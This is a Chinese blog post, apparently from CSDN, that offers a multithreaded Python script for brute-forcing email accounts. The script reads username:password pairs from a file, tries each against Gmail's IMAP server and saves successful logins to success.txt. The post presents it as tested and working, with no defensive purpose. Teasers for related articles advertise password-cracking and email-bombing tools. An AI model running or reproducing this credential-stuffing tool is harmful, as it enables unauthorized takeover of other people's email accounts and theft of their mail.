Python在线爆破邮箱账号密码测试代码(亲测可用)

原创 2015年11月19日 15:26:29

dic 字典格式如下(mail.txt) :

username@gmail.com:password

username@gmail.com:password

username@gmail.com:password

以此类推,切记保存成utf-8编码格式。

放置在当前脚本目录,也可自己定义修改。

支持ssl https /imap协议。

# version 3.4.0
# coding='UTF-8'
# time='2014-09-16'
import _dummy_thread
import imaplib
import threading

# global variant 
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'
GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143
GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993
GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()
GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000
GMAIL_BYTES_READED_TOTAL_SIZE = 0
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0
GLOBAL_READ_FINISH_STATUS_SUCCESS = False
# define global function

def Write_Save_Success_Gmail_Jobs(indexSuccess): 
        Success_File = open('success.txt', 'a')
        Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])
        Success_File.close()

def Write_Save_Fail_Gmail_Jobs(indexFail): 
        Fail_File = open('fail.txt', 'a')
        Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])       
        Fail_File.close()
# define global function

def Get_Parser_Account_Pwd(Index):
    strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]
    strUserName, strPassWord = strAccountPwd.split(':', 1)
    return strUserName, strPassWord

# define global function
def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):
    global GLOBAL_WORKING_THREAD_MUTEX_LOCK
    global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
    if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:
        GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()
        GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1
        print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)
        print('IMAP INDEX-------', IndexGmail)
        print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
        Write_Save_Fail_Gmail_Jobs(IndexGmail) 
        # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
        print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
        GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)
        GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT  # 143
        stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)
        try:
            ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)
        except GmailImap4.error :     
            print('Logical errors - debug required')
            Write_Save_Fail_Gmail_Jobs(IndexGmail)     
            GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
            return
        except GmailImap4.abort :
            print('Service errors - close and retry')
            GmailImap4.close()
            Write_Save_Fail_Gmail_Jobs(IndexGmail)     
            GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
            return
        except GmailImap4.readonly:
            print('Mailbox status changed to read only')
            GmailImap4.close()
            Write_Save_Fail_Gmail_Jobs(IndexGmail)     
            GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
            return
        if (ResponseStatus[0] == 'OK'):
            print('LOGIN SUCCESS')
            Write_Save_Success_Gmail_Jobs(IndexGmail)
            GmailImap4.logout()   
            GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
        else:
            GmailImap4.close()
            print('LOGIN FAIL')
            print(ResponseStatus)
            Write_Save_Fail_Gmail_Jobs(IndexGmail)     
            GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
    else:
        return
# define global function 

    
class Working_Zone_Thread(threading.Thread):  
    m_IndexStart = 0
    m_IndexEnd = 0
    def __init__(self, numEnd):        
        self.m_IndexEnd = numEnd
        threading.Thread.__init__(self)  
    def run(self):  # run process
        while  True:
            if self.m_IndexStart < self.m_IndexEnd: 
                Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)      
                self.m_IndexStart = self.m_IndexStart + 1            
            else:
                break
    def _delete(self):
        threading.Thread._delete(self)
        print('thread delete is : ', self.getName())

# define read function
def Read_Send_Single_Func(): 
    IndexStart = 0
    print('--------read----star--')
    global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM
    global GMAIL_BYTES_READED_TOTAL_SIZE
    global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY
    File_Read = open('mail.txt', 'r', encoding='UTF-8')
    File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0)  # seek
    while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:
        line = File_Read.readline()
        if line:
            GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)
            CbBytes = line.__len__()
            GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes
            GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1
            IndexStart = IndexStart + 1    
        else:
            GLOBAL_READ_FINISH_STATUS_SUCCESS = True
            break
    print('gmail read num ', IndexStart)
    File_Read.close()
    print('---------read----end--')


# main entry
if __name__ == '__main__':
    print('Main Thread Start : ')
    while True:
        if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:
            Read_Send_Single_Func()
            wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)
            wzt.start()
            wzt.join()
            GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
            GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()
        else:
            print('data has run out : ')
            break
    print('Main Thread End : ')
    




版权声明:本文为博主原创文章,转载需标记链接和作者名称。

相关文章推荐

Hydra—密码爆破神器

Hydra—密码爆破神器 公司邮箱系统密码复杂度规则:字母大小写、数字、特殊字符,四选三,长度8位以上。这种复杂度的密码看着是比较安全的,但因历史原因,邮箱系统开放了外网登陆权限,加之公司人数众多,...

Python 使用Gmail发送邮件

前言:2014-05-22记录在hi baidu上,现在移过来

web之利用python超简单爆破5位密码

打开网页看到一个5位数爆破的小case,直接用Python解决就好,这题写了感觉没什么意义,但是闲来无事还是来写一波吧 下面附上python爆破的源码 import string impor...

python 写的http后台弱口令爆破工具

利用python 写的多线程爆破后台用户名+密码(自备字典),比较实用,即使是在信息安全这么重视的今天,还是有人不加验证码或者异常访问限制之类的登陆验证方式,这样就很容易被弱口令爆破工具拿下,(本代码...

python版通用后台账号密码多线程爆破必杀器

#! /usr/bin/env python2.7 #coding=utf-8 #通用后台账号密码多线程爆破必杀器 import re import os import sys import gz...
  • god_7z1
  • god_7z1
  • 2014年11月30日 02:15
  • 1519

Python邮件轰炸(一)

作为学习用,不要用于其他违法行为。import smtplib import time from email.mime.text import MIMEText填入你要轰炸的邮箱mail_to=”...
  • yagamil
  • yagamil
  • 2015年05月17日 23:22
  • 1250

第一个Python小程序:Zip文件口令破解器

第一个Python小程序:Zip文件口令破解器 最近在看一本关于Python应用的书,本身也刚接触Python不久,已被py的强大魅力所感染! 下面就不介绍基本的语法了,有兴趣的...
  • Drongin
  • Drongin
  • 2017年01月18日 15:57
  • 1720

Python脚本暴力破解web登录

最近做项目,需要对一个Web服务分析其安全性,做安全加固。发现其web登录界面不限制密码输入次数,且没有验证码,就想到暴力破解web登录。 一、HTTP Basic认证 web应用可以通过...
  • zfyseu1
  • zfyseu1
  • 2016年05月02日 12:19
  • 3757

python写邮箱名及密码验证

简述: 熟悉python对字符串的操作,用到正则表达式 输入的需求: 邮箱名: 密码:共八位,必须同时包括大写英文字符、小写英文字符、数字,不能出现重复字符(区分大小写...
  • anialy
  • anialy
  • 2012年07月01日 12:11
  • 5048

Delphi7高级应用开发随书源码

  • 2003年04月30日 00:00
  • 676KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Python在线爆破邮箱账号密码测试代码(亲测可用)
举报原因:
原因补充:

(最多只允许输入30个字)